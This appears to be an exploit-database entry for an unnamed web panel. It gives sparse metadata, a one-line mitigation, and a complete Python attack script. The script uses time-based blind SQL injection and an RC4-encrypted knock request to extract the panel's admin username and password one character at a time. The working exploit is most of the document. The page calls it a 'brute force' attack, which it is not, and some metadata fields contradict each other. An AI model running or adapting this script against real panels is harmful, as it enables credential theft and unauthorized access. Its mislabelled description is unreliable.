Brute Force Attack on Web Panel

vendor:

N/A

by:

Anonymous

8,8

CVSS

HIGH

Brute Force Attack

307

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Web Panel

2020

Brute Force Attack on Web Panel

This exploit is a brute force attack on a web panel. It uses a combination of SQL injection and RC4 encryption to gain access to the panel. The exploit uses a wait delay to determine if the correct credentials have been entered. If the delay is longer than the wait delay, then the correct credentials have been entered.

Mitigation:

Implementing strong authentication methods such as two-factor authentication can help mitigate brute force attacks.

Source

Exploit-DB raw data:

import requests
import time
import sys
 
wait_delay = 5 #Depending on connection delay and server speed, you may need to make this a larger number
KnockString = 'g=a&w=a&b=a&d=a&p=a&m=a' #lol no integrity verification
 
PostData = ""
 
def rc4_crypt(data , key):
		S = list(range(256))
		j = 0
		out = []
 
		for i in range(256):
				j = (j + S[i] + ord( key[i % len(key)] )) % 256
				S[i] , S[j] = S[j] , S[i]
 
		i = j = 0
		for char in data:
				i = ( i + 1 ) % 256
				j = ( j + S[i] ) % 256
				S[i] , S[j] = S[j] , S[i]
				out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))    
		return ''.join(out)
 
def brute_length(url, id):
		for i in range(0, 30):
				Injection = "\"', (IF(LENGTH((SELECT value FROM settings WHERE id='%d')) = %d, SLEEP(%d), 0)), 'a', 'a', 'a', 'a', 'a', 'a')-- -" % (id, i, wait_delay)
				ConnectUrl  = url + '?i=' + Injection
 
				start = time.time()
				r = requests.post(ConnectUrl, data=PostData, headers='')
				end = time.time()
 
				if((end - start) >= wait_delay):
						return i
					   
		return 0
	   
def brute_char(url, position, id):
		sys.stdout.write(" ")
		sys.stdout.flush()
					   
		for i in range(32, 127):
				Injection = "\"', (IF(SUBSTRING((SELECT value FROM settings WHERE id='%d'), %d, 1) = BINARY CHAR(%d), SLEEP(%d), 0)), 'a', 'a', 'a', 'a', 'a', 'a')-- -" % (id, position, i, wait_delay)
				ConnectUrl  = url + '?i=' + Injection
			   
				sys.stdout.write("\b%c" % chr(i))
				sys.stdout.flush()
			   
				start = time.time()
				r = requests.post(ConnectUrl, data=PostData, headers='')
				end = time.time()
 
				if((end - start) >= wait_delay):
						break
 
def brute_panel(url):
		global KnockString, PostData
	   
		PostData = 'aaaa' + rc4_crypt(KnockString, 'aaaa')
	   
		print"Username: ",;
		sys.stdout.flush()
		ulen = brute_length(url, 1)
	   
		for i in range(1, ulen+1):
				brute_char(url, i, 1)
 
		print"\nPassword: ",
		sys.stdout.flush()
		plen = brute_length(url, 2)
	   
		for i in range(1, plen+1):
				brute_char(url, i, 2)
		print""
 
if(len(sys.argv) >= 2):
		brute_panel(sys.argv[1])
else:
		print("enter panel gate url")